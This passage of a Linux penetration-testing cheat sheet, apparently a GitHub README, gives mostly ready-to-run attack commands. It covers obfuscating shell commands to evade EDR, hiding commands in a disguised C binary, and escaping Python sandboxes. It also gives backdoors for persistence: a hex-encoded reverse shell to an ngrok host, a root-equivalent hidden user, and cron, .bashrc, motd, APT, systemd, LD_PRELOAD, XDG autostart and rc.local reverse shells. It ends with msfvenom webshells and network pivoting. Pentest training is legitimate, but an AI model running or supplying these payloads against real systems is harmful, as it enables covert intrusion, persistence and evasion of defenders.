echo -n '<command_to_execute>' | xxd -p | tr -d '\n'

to execute it:

echo -n '<hex_encoded_payload> | xxd -p -r | sh

Example 2:

xxd -r -ps <(echo <hex_command>) | sh

Example 3:

printf '<command_to_execute>' | od -A n -t x1 | sed 's/ //g' | sed 's/../\\x&/g' | tr -d '\n'

to execute it:

echo -e '<hex_encoded_string>' | sh

Wildcard completation:

We can obfuscate commands using bash wildcard.

MAY NOT WORK IF THE MACHINE HAS SOME PARTICULAR BINARIES THAT INTERFEER WITH THE PATH!

This is an example on binary path(?):

/?i?/e?h? '<command_to_run>' | /?i?/b??h  #we will run /bin/echo ... | /bin/bash

This is an example with * wildcard (less stealthy):

/b*n/e*ho '<command_to_run>' | /b*n/b*sh

We can also list files without using ls:

cd <folder_to_list_files>
/*i*/e?h? *  #execute echo * resulting in ls

String Noise:

To evade some EDR or security products we can try to write some chars in weird way:

square braces chars:

/[b][i][n]/[e][c][h][o] 'command_to_run' | /[b][i][n]/[s][h]

quoted chars:

e'c'h''o'' 'command_to_run' | "b"a'''s'"h"''

backslashes:

\e\c\h\o '<command_to_run>' | \b\as\h
/\/////bin///\/\////echo '<command_to_run>' | /\//bin/\/\/sh

at sign:

e$@c$@h$@o $@'<command_to_run>'$@ | b$@a$@s$@h$@

uppercase transforming:

$(tr "[A-Z]" "[a-z]"<<<"<camelcase_command_to_run>") #to execute commands like bUsYBox Nc ..

uppercase transformation with printf:

$(a="<uppercase_command_to_run>";printf %s "${a,,}")

adding errors and fake commands:

l$(a)s${IFS}-$(a)la #execute ls -la with IFS space bypass and $(a) null command

reversed strings:

echo '<reversed_command>' | rev

also:

$(rev<<<'<reversed_command_to_run>')

Forbidden chars:

Somethimes we can't use chars like spaces or slashes.

forbidden spaces:

ls${IFS}-la

{ls,-la}

ls$IFS-la

IFS=à
a=lsà-la
$a

IFS=,;`cat<<<ls,-la`

v=$'ls\x20-la'&&$v

echo${IFS}-e${IFS}"ls\x09-l"|sh

create a file with newlines escaped:

echo${IFS}"command_to_execute"${IFS}|${IFS}sed${IFS}'s/./&\\\n/g'${IFS}>${IFS}file.txt
bash${IFS}file.txt

Alternative shell execution:

We can bypass some security products by avoiding notorious shell names such as `sh, bash, rbash, dash, pwsh, tmux, screen ,zsh, ash, tcsh' too do so we can use tricks to call a shell:

Via shell variable:

echo <command_to_execute> |$0

Via backticks:

`echo <command_to_execute>`

Via command substitution:

$(echo <command_to_execute>)

Via backticks and created files:

mkdir /tmp/test  #we will create an empty folder
cd /tmp/test
touch -- 'command to execute'  #then we can create a file that that has the payload in the filename  
`ls`  #eventually with command substitution we can execute the file via getting its name

Via backticks and Create file 2:

cd /tmp/test
echo '' > 'command_to_execute'
`ls`

BashFuscator:

This powerfull tool can create large obfuscated payloads.

Commands to install it:

git clone https://github.com/Bashfuscator/Bashfuscator
cd Bashfuscator
python3 setup.py install --user

DISCLAIMERS:

DOESN'T WORK 100% OF TIME SO TEST IT BEFORE RUNNING (-test)!

YOU NEED A BASH INTERPRETER IN ORDER TO RUN IT!

FILE SIZE CAN RAMP UP PRETTY QUICKLY!

RUN MULTIPLE TIMES THE COMMAND TO GET A SMALLER PAYLOAD!

Now we can generate payload like this (with -o we will save it to file):

bashfuscator -c '<command_to_run>' --no-file-write --no-random-whitespace --no-insert-chars --no-integer-mangling --no-terminator-randomization --choose-mutators command/case_swapper command/reverse -s 1 -t 3 --layers 2 -o /tmp/obfuscate_command.sh

if this doesn't work try this one:

bashfuscator -c '<command_to_run>'  -o /tmp/obfuscated_command.sh --test #use --test to check the command

We can also obfuscate an entire script file like this:

bashfuscator -f '<file_to_run>'  -o /tmp/obfuscated_file.sh --test #use --test to check the command

Source code obfuscation:

If we want to be a little more sthealtier we can use, instead of bash terminal commands compiled c binaries.
Using plain strings in those binaries will be pretty stupid because even with a strings command we will be caught, to avoid that we can use a tool to obfuscate those strings.
The tool is this one.
The installation is pretty simple:

git clone https://github.com/4g3nt47/Obfuscator.git
# Compile
cd Obfuscator
mkdir bin
make
# Install
sudo make install
# Clean
make clean

Now we can create our binary in c named debiansyschecker.c:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


char *check_debian_status(char str[]){

  unsigned char key = 144; 
  size_t len = strlen(str);
  unsigned char curr_key;
  for (int i = 0; i < len; i++){
    curr_key = key * (i + 1);
    while (curr_key == 0 || curr_key == 10 || (curr_key >= 32 && curr_key <= 126))
      curr_key += 47;
    str[i] = str[i] ^ curr_key;
    key = curr_key;
  }
  return str;
}

int main() {
    // The command to be executed
    char cmd[] = "[OBFS_ENC]echo ZWNobyAib2JmdXNjYXRlZCBzdHJpbmdzISI=  | base64 -d | bash"; //print a string if succesfull

    // Execute the command using system()
    check_debian_status(cmd);
    int result = system(cmd);

    // Check the result
    if (result == -1) {
        perror("Error checking the version");
        exit(EXIT_FAILURE);
    }

    return 0;
}

Now we can compile the script with no string optimization:

gcc -Os debiansyschecker.c -o debiansyschecker -static

Once we have done that we can run the obfuscator script that we installed above:

obfuscator <input_binary> <output_binary> <encryption_key>
#example:
obfuscator debiansyschecker debiansyschecker_x86 144 #the default key

Now we can now run strings against the binary or also open ghidra, no strings will be found.

Sandbox bypass:

Some applications can expose services with a restricted access like a bash with limitation, as we saw with the command above.
There are some programming languages that has functionalities to run in a restricted enviroment.

Docker sandbox:

In a production environment, applications are often deployed through Docker containers.
By doing this, developers and DevOps can easily manage the infrastructure for scalability, availability, and redundancy.
For attackers this imply a restricted access in case of website rce or code injection.
If we manage to get a shell on a Docker filesystem we can try to escape the container, in order to do that we need to enumerate the environment.
Containers has a feature where you can remove al the binary that are not necessary for the container purpose, but we can upload a static copy of the compiled binary:
In those GitHub repos we can find some precompiled binaries that we can import inside containers:

To upload them i use pwncat-cs:

#start a listener, or use a bindshell
pwncat-cs -lp <port>  #for a listener
pwncat-cs ssh://<username>:<password>@<ip>:<port>   #start a ssh bindshell connection

Once you have a pwncat connection you can enter the local shell utility with Ctrl + d then type:

upload <file_to_upload> <destination>

Python sandbox:

Python has a configuration setup where you can specify which command are restricted and also which built-in modules you can use or import:

No boundary

If we have no restrictions we can just execute code:

os module:

import os;os.system('<command>')
os.popen("<command>").read()

subprocess module:

subprocess.call("<command>", shell=True)
subprocess.Popen("<command>", shell=True)
subprocess.run("<command>"), shell=True)

Forbidden import string:

#!/usr/bin/env python3
import sys
import code

# for code.InteractiveConsole to send stack traces to stdout
sys.excepthook = sys.__excepthook__

class RestrictedConsole(code.InteractiveConsole):

	def __init__(self, locals, blacklist, *a, **kw):
		super().__init__(locals, *a, **kw)
		self.blacklist = blacklist.copy()
		
	def runsource(self, source, *a, **kw):
		if not source.isascii() or any(word in source for word in self.blacklist):
			print("Blacklisted word detected, exiting ...")
			sys.exit(1)
		return super().runsource(source, *a, **kw)
	
	def write(self, data):
		sys.stdout.write(data)

# keep all the builtins except open
safe_builtins = {
	k:v for k,v in __builtins__.__dict__.items() if k != "open" 
}
locals = {'__builtins__': safe_builtins}

blacklist = ['import', 'os', 'system', 'subproces', 'sh']

RestrictedConsole(locals, blacklist).interact()

We can bypass a restriction above in some ways like:

echo -n "<python_script_to_run>" | od -An -vtu1 |  sed 's/  / /g' | sed 's/ /\\/g' | tr -d '\n' #encode in ascii format \137...

Then you can just pass the output of the command inside the exec() function:

exec("<ascii_code>")

example: exec("\70\72\69\6e\74\28\22\68\65\6c\6c\6f\20\77\6f\72\6c\64\22\29") #print hello world

Only help:

With the following script you can host a python shell where you can only execute the help() function:

#!/usr/bin/env python3
import sys
import code

# for code.InteractiveConsole to send stack traces to stdout
sys.excepthook = sys.__excepthook__

class RestrictedConsole(code.InteractiveConsole):

	def __init__(self, locals, blacklist, *a, **kw):
		super().__init__(locals, *a, **kw)
		self.blacklist = blacklist.copy()
		
	def runsource(self, source, *a, **kw):
		if not source.isascii() or any(word in source for word in self.blacklist):
			print("Blacklisted word detected, exiting ...")
			sys.exit(1)
		return super().runsource(source, *a, **kw)
	
	def write(self, data):
		sys.stdout.write(data)

# just safe builtins
safe_builtins = {
	'help': help,
}
locals = {'__builtins__': safe_builtins}

blacklist = ['import', 'os', 'system', 'subproces', 'sh', '"', '\'',]

RestrictedConsole(locals, blacklist).interact()

As we can see the builtins is only help, and other strings like import, os, " and ' are banned; this make it very hard to get command exection.

However we can bypass this with user defined functions.
With the following command we can get all the classes:

().__class__.__base__.__subclasses__()

If we have this class between the classes <class 'code.InteractiveInterpreter'> we can imports all the builtins modules:

a = ().__class__.__base__.__subclasses__()[-8]  #change this number with the array position of the class code.InteractiveInterpreter
b = a.__init__.__globals__
__builtins__ = [*b.values()][7]   #with this we will imports all the std modules
open(chr(100)+chr(101)+chr(90)).read()  #we can get LFI on the machine

Persistence:

Once we gained command execution on the machine we need to access it whenever we want, also even after a restart for this reason we need to install persistence on the machine, possibly in a obfuscated way.

Obfuscated persistence:

we can create a clever payload, mixing some of the obfuscation techniques we saw above: Shell via filename:

mkdir /tmp/a2b3c4;cd /tmp/a2b3c4;touch -- 'echo -e \x62\x75\x73\x79\x62\x6f\x78\x20\x6e\x63\x20\x37\x2e\x74\x63\x70\x2e\x65\x75\x2e\x6e\x67\x72\x6f\x6b\x2e\x69\x6f\x20\x31\x30\x32\x38\x33\x20\x2d\x65\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x26';cd ../; `ls a2b3c4`|$0;rm -rf a2b3c4

Add user:

we can backdoor a system by creating another user in PAM context:

sudo useradd -ou 0 -g 0 <new_username>
sudo passwd <new_username>
echo "<new_password>" | passwd --stdin <new_username>

Crontab:

we can create a crontab with running a command a bunch of seconds after the start of the machine:

(crontab -l ; echo "@reboot sleep 30 <command_to_execute>")|crontab 2> /dev/null

Backdoor bashrc:

every time a shell session starts it loads a profile called .<shell_name>rc
this profile eventually is bash code, so we can insert comands there like this:

echo '<command>' >> ~/.bashrc

to obfuscate the code better, hide the command in the middle of the file, maybe inside an if that get accessed frequently

Backdoor motd:

The "Message of the Day" (MotD) in Linux is a customizable text displayed to users upon login.
Is another bash script, similar to .bashrc where we can inject our code:

echo '<command_to_run>' >> /etc/update-motd.d/00-header

it's better to avoid printed text, you can also write the command before the banner, so you can run the script, send in background then clear and the banner will appear.

Backdoor Webshell:

On the target machine if the LAMP stack (Linux, Apache, MySQL/MariaDB and PHP/Perl/Python) is present and we have the appropriate permissions, we could load a webshell that allows a backdoor, we can create one via meterpreter

msfvenom -p php/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<port> -e php/base64 -f raw > <output file>

Remember to set up your listener, and when the revshell upload is complete, visit the correct URL to trigger it.

Backdoor Apt:

We can set a backdoor on APT command, indeed whenever apt update run, we can get an access with the following command:

echo 'APT::Update::Pre-Invoke {"nohup nc -lvp <port> -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/<name>

Backdoor Systemd:

systemd is the init system and service manager in most Linux distributions, can be a source of persistence by creating our own script in bash and a service.

Services:

First step create the bash script:

nano <name>.sh

#!/bin/bash
busybox nc <ip> <port> -e /bin/bash

Execute right:

chmod +x <name.sh>

Second step we need to create the fake .service:

sudo nano /etc/systemd/system/<name>.service

[Unit]
Description=<fake description>
After=network.target

[Service]
Type=simple
User=<user_to_run_script_as>
ExecStart=<path_to_bash_script>
Restart=always
RestartSec=50

[Install]
WantedBy=multi-user.target

Third step we must reload services folder, enable and start the service:

sudo systemctl daemon-reload

sudo systemctl enable <name>.service
sudo systemctl start <name>.service

Services + Timers:

This backdoor methodology is the same as the one above only with a variation, we decide when the service is to be activated, via timers:

The .service and .timer must have the same name

First step create bash script and .services file:

nano <name>.sh

#!/bin/bash
busybox nc <ip> <port> -e /bin/bash

Execute right:

chmod +x <name.sh>

service file:

sudo nano /etc/systemd/system/<name>.service

[Unit]
Description=<fake description>
After=network.target

[Service]
Type=simple
ExecStart=<path to bash script>
Restart=on-abort

[Install]
WantedBy=multi-user.target

Second step we need to create the .timer file:

sudo nano /etc/systemd/system/<name>.timer

[Unit]
Description=<fake description>

[Timer]
OnBootSec=5
OnUnitActiveSec=5m #it will turn on every 5 minutes

[Install]
WantedBy=timers.target

Third step we must reload services and timer folder, activate the .service and .timer:

sudo systemctl daemon-reload

sudo systemctl enable <name>.timer
sudo systemctl start <name>.timer

sudo systemctl enable <name>.service
sudo systemctl start <name>.service

Commands to check if the .timer and .service are working:

systemctl list-units --type=service

systemctl list-timers

Backdoor SO:

LD_PRELOAD:

LD_PRELOAD is an environment variable in Linux and other Unix-like operating systems that allows you to specify a list of additional dynamic shared objects by unsetting the env variable we can specify a custom SO.

Usually LD_PRELOAD is not set by default

We can first check the target shared object with the following command:

strace <path_to_binary_command>

Example: strace /bin/cat

Output:

execve("/bin/cat", ["/bin/cat"], 0x7ffc0f5e5430 /* 56 vars */) = 0
brk(NULL)                               = 0x5574c4efe000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f6c7d123000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory) #we can

we can change ld.so.preload.

Now create the source code in C:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
	unsetenv("LD_PRELOAD");
	setresuid(0,0,0);
	system("/bin/bash -i 5<> /dev/tcp/<ip>/<port> 0<&5 1>&5 2>&5");
}

Compile it:

gcc -fPIC -shared -nostartfiles -o <name>.so <path_to_source_code_in_C>

Then copy it:

`echo <path to so file>.so >> /etc/<target so>`

LD_LIBRARY_PATH:

This variable set the path of the shared library that the file runned with sudo will pick, to check which shared library our executable is importing we can do:

Usually LD_LIBRARY_PATH is not set by default

strace <path_to_binary_command>

Example: strace /bin/cat

Output:

execve("/bin/cat", ["/bin/cat"], 0x7ffc0f5e5430 /* 56 vars */) = 0
brk(NULL)                               = 0x5574c4efe000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f6c7d123000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory) #we can

we can change ld.so.preload.

Now create the source code in C:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
	unsetenv("LD_LIBRARY_PATH");
	setresuid(0,0,0);
	system("/bin/bash -i 5<> /dev/tcp/<ip>/<port> 0<&5 1>&5 2>&5");
}

Compile it:

gcc -fPIC -shared -nostartfiles -o <name>.so <path_to_source_code_in_C>

Then we just need to run the file by setting the path of the shared libraries:

sudo LD_LIBRARY_PATH=/tmp <file_to_run_with_sudo>

Backdoor XDG:

XDG (X Desktop Group) is a standard defined by the freedesktop.org project that specifies how Linux desktop environments should handle the automatic launch of applications at system start-up.

It can be backdoored by creating a custom .desktop file in ~/.config/autostart/ that points to a bash script, following the steps below:

First we create the bash script:

#!/bin/bash

busybox nc <ip> <port> -e /bin/bash

Then:

chmod +x <script.sh>

Second step we create the .desktop file to save in `~/.config/autostart/:

by default the autostart folder is not present, create it anyway.

nano <name>.desktop

[Desktop Entry]
Type=Application
Exec=<path_to_bash_script>
Hidden=true
NoDisplay=true
X-GNOME-Autostart-enabled=true
Name=<custom_name>

Then:

chmod +x <name>.desktop

A bash script can also be placed directly in the ~/.config/autostart/

Backdoor rc.local:

rc.local is a file in the /etc folder that runs on every boot, we can insert a malicious bash command into it or point to another script

sudo nano /etc/rc.local

#!/bin/bash
busybox nc <ip> <port> -e /bin/bash &

Then:

sudo chmod +x /etc/rc.local

It's important to run the command in background otherwise if we run a blocking command the boot will be blocked

at the next boot our revshell will be launched.

Pivoting:

Pivoting is crucial in penetration testing as it allows for lateral movement within a network, mimicking real-world cyber threats.

This technique helps uncover hidden vulnerabilities and weaknesses that may not be apparent from an initial entry point, enhancing the overall assessment of a company's security posture by exploring different segments of the network, a penetration tester can simulate advanced attack scenarios and provide more comprehensive insights for risk mitigation.

In order to do that we can use various methods to both evade detection and work around missing tools.

SSH tunneling:

SSH tunneling is probably the easiest way to pivot trough a machine, in fact we can activate port forward with the following command:

Forward tunnel:

Also called remote port forwarding it allows to map port from the remote machine/network to our local port (127.0.0.1):

ssh <user>@<victim> -L <our_local_port>:<remote_ip_to_forward>:<remote_port_to_forward>

Reverse tunnel:

Also called local port forwarding it allows to make our local port accessible from the remote host:

ssh <user>@<victim> -R <remote_ip_that_can_access_our_local_port>:<remote_port_to_bind_to>:<our_local_ip_that_we_want_to_expose>:<our_local_port_to_forward>

Metasploit:

metapsloit also allows pivoting techniques but the first step is to check our network interfaces:

ip a
ifconfig

Then scan the subnet of the network we want, we can do that with metasploit module:

# Ctrl + z to background the existing shell
use post/windows/gather/arp_scanner  #set discovery module
set SESSION <session_id>
set RHOSTS <subnet_to_scan_CIDRE_notation>  #example: 192.168.1.0/24
run #to start module

now we need to add a routing rule to route all the traffic via the session that we compromised:

#background the meterpeter session
route add <subnet_to_interact_with_no_CIDR> 255.255.255.0 <session_id>
use auxiliary/server/socks_proxy

To visit the port we can add a socks proxy configuration on proxychain (preinstalled on kali):

#on our local machine:
echo 'socks4 127.0.0.1 1080' >> /etc/proxychains4.conf #use your proxychain config file

if we want to connect to the host on a subnet that we forwarded we can run:

proxychains4 <command_to_run>

example: proxychain4 mysql -h 10.10.10.8 -u root -proot #we can access the subnet that we couldn't before proxy

Now we can also start a portscan with another metasploit module:

#background the session
use auxiliary/scanner/portscan/tcp
set RHOSTS <host_to_scan_on_new_subnet>  #can also pass multiple hosts like this: 192.168.1.2,3,4,11
set PORTS <ports_to_scan>  #can also be passed as a range like: 1-6000

Meterpeter forward:

meterpreter offers a powerfull integrated tool to forward ip and ports when we are inside a meterpreter shell.

#inside meterpreter prompt
portfwd add -l <port_that_we_open_locally> -p <remote_port_to_forward_to_us> -r <remote_ip_to_forward>

example: portfwd add -l 8080 -p 80 -r 192.168.1.2 this will forward the port 80 of the 192.168.1.2 on our 127.0.0.1:8080

example 2: portfwd add -l 8080 -p 80 -r 127.0.0.1 this will forward the port 80 open ONLY in remote localhost on OUR 127.0.0.1:8080

Meterpeter reverse:

above we saw how to forward a remote port to us, here we will se how to access our local ports on remote host:

portfwd add -R -L <our_localip_where_we_listen> -l <our_localPort_where_we_listen> -p <remote_port_to_listen_on>

example: portfwd add -R -L <127.0.0.1> -l 7777 -p 80 all the traffic towards the remote machine on port 80 will be redirected to our port 127.0.0.1:7777

tips:
to remove all portfwd rules just type:

portfwd flush

Chisel:

Chisel is a portable binary that can be run on the attack box or the target that offers tunneling and port forward capabilities.
to use it we need both the client and the server executable, is writen in Go so it's pretty portable i'd say:

go install github.com/jpillora/chisel@latest #for chisel installation
which chisel #we need this path so we can upload the binary to other linux servers.

or we can download the version we need:

https://github.com/jpillora/chisel/releases/tag/v1.9.1

once we uploaded the binary on the remote machine we can setup the tunnel:

On the attacker machine:

chisel server --socks5 --reverse
#will generate a fingerprint

On the victim machine:

./chisel client --fingerpring <server_fingerprint> <ip_where_chisel_server_runs>:<server_port> R:<local_attacker_port>:<remote_ip_to_access>:<remote_port_to_forward_to_our_local>  #default server port is 8080

with the command above we can visit our port and see what's on the remote port

Chisel socks proxy:

We can also use the socks proxy to forward every ports: on the victim machine:

#keep the above server configuration
./chisel client --fingerprint <server_fingerprint> <chise_server_ip>:<chisel_server_port> R:socks

to access them we need to use proxychains:

#on local attacker machine
echo 'socks5 127.0.0.1 1080' >> /etc/proxychains4.conf
proxychains4 <command_to_run>

example: proxychains4 curl 10.10.10.4 host that wasn't accessible before

Ligolo:

ligolo-ng is a pivoting tool that create tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).
In order to run it we need two binaries: ligolo agent and ligolo proxy.

They can be downloaded here for the correct version of your attacker machine.

We can extract the agent and the proxy with:

tar xzvf <agent_file>
tar xzvf <proxy_file>

Pivoting:

Let's imagine we land in a machine of our subnet (for example 10.10.1.0/24) but the machine has another internal subnet that we want to scan.
In order to do it we need to pivot the traffic trough the first compromized machine.
To route the traffic we will use a fisical interface, to create it we need to run:

#on local attack box
sudo ip tuntap add user <username> mode tun ligolo #my username is kali
sudo ip link set ligolo up #turn on the interface

On the attack box is pretty simple, in fact we just need to run the ligolo proxy:
if we are in a test environment we can use a self signed cert

./proxy -selfcert

in a real pentest you can use the -autocert flag to request a cert with let's encrypt

./proxy -autocert

On the victim machine we need to import the agent binary (with correct os and version) and run it:

./agent -connect <attacker_ip>:11601 #default ligolo proxy port

if we are in a test environment and the victim doesn't have WAN access we can ignore the certificate check:

./agent -connect <attacker_ip>:11601 -ignore-cert

Once we did this (if it's all correct) we will have a connection on the ligolo proxy running on our attack box.
To manage the connection we can do:

session #if we have one we can just click enter
#once we are in the interactive session of the host
ifconfig #check the victim interfaces

once we find an internal subnet on the victim machine (let's say 172.17.1.0/24) we can now add a route to reach it via ligolo proxy:

sudo ip route add <victim_machine_internal_subnet_CIDR> dev ligolo

example: sudo ip route add 172.17.1.0/24 dev ligolo

Now back to the interactive ligolo session we need to type:

start

Now we can interact with that subnet from our attack box, without using proxychains, like we are on it:

nmap 172.17.1.0/24 -sn -Pn

Reverse shell setup:

if we want to get a reverse shell from a machine inside the victim subnet(for example the 172.17.1.4), he need to see us on the network.
we can instead listen for connection on the agent(for example the 172.17.1.2), forward them to our attack box and set as revshell the agent as revshell ip On the ligolo console we need to type:

listener_add --addr 0.0.0.0:<agent_port_where_revshell_first_get> --to 127.0.0.1:<our_local_port_where_listen> --tcp

example: listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp

Now to get the revshell:
on the attack box:

nc -lvnp <our_local_port_where_listen>  #just use the listener you like the most

on second victim:

busybox nc <ip_of_first_victim(the_pivot_agent)> <pivot_agent_port> -e bash

example: busybox nc 172.17.1.2 30000 -e bash

Eventualy on the attack box we will get the revshell.

Internal agent ports:

If we want to access the 127.0.0.1 of the agent machine we can use the reserved ip of ligolo-ng:

sudo ip route add 240.0.0.1/32 dev ligolo

Now every packet towards 240.0.0.1 will be to and from the 127.0.0.1 of the pivot machine.

TO DO

Special Thanks

I want to express my gratitude to the sources that have greatly contributed to this manual.
The insights from tryhackme, HackTheBox, and HackTrix have been instrumental in shaping the content and ensuring its accuracy.
Special thanks to all the above and my friend AleHelp that contributed with a deep research of the linux enumeration and some Exploits.

Name		Name	Last commit message	Last commit date
Latest commit History 131 Commits
README.md		README.md

Disturbante/Linux-Pentest

Folders and files

Latest commit

History

Repository files navigation

Linux-Pentest

List of contents:

Enumeration:

Manual Enumeration:

General:

Credentials harvesting:

Information harvesting:

Log Reading

OS:

Network:

Detect Defense mechanisms:

Limited enumeration:

Automated Tools:

Privilege Escalation:

Hardcoded passwords:

Config files:

History files:

Running commands:

Privesc via mysql admin:

Weak file permissions:

/etc/passwd write right:

/etc/shadow write right:

/etc/shadow read right:

Commands to search for other files:

Shell escape sequence:

Sudo env variables:

LD_PRELOAD:

LD_LIBRARY_PATH

Sensitive mails

Sudo nginx:

Sudo nginx lfi:

Sudo nginx rce:

Cron jobs:

Writeable path:

Wildcard Injection:

SUID/SGID binaries:

SUID/SGID shared object import:

SUID/SGID relative path

Reverse engineering:

SUID/SGID shell function

SUID/SGID bash PS4 debugging

Doas

SSH keys:

Private key:

Public key:

NFS:

Mail forward rce:

Kernel Exploits:

CVE-2024-1086:

OverlayFS:

Logrotate:

DirtyPipe:

Looney Tunable:

Sudo baron:

CVE-2018-18955

Linux evasions:

Bypass rbash

Hidden session

Kick Admins

Rootkit

Ping BackDoor

Immutable Files

Obfuscation:

Base64 encoding:

Hex encoding:

Wildcard completation:

String Noise:

Forbidden chars:

Alternative shell execution:

BashFuscator:

DISCLAIMERS:

Source code obfuscation:

Sandbox bypass:

Docker sandbox:

Python sandbox:

Packages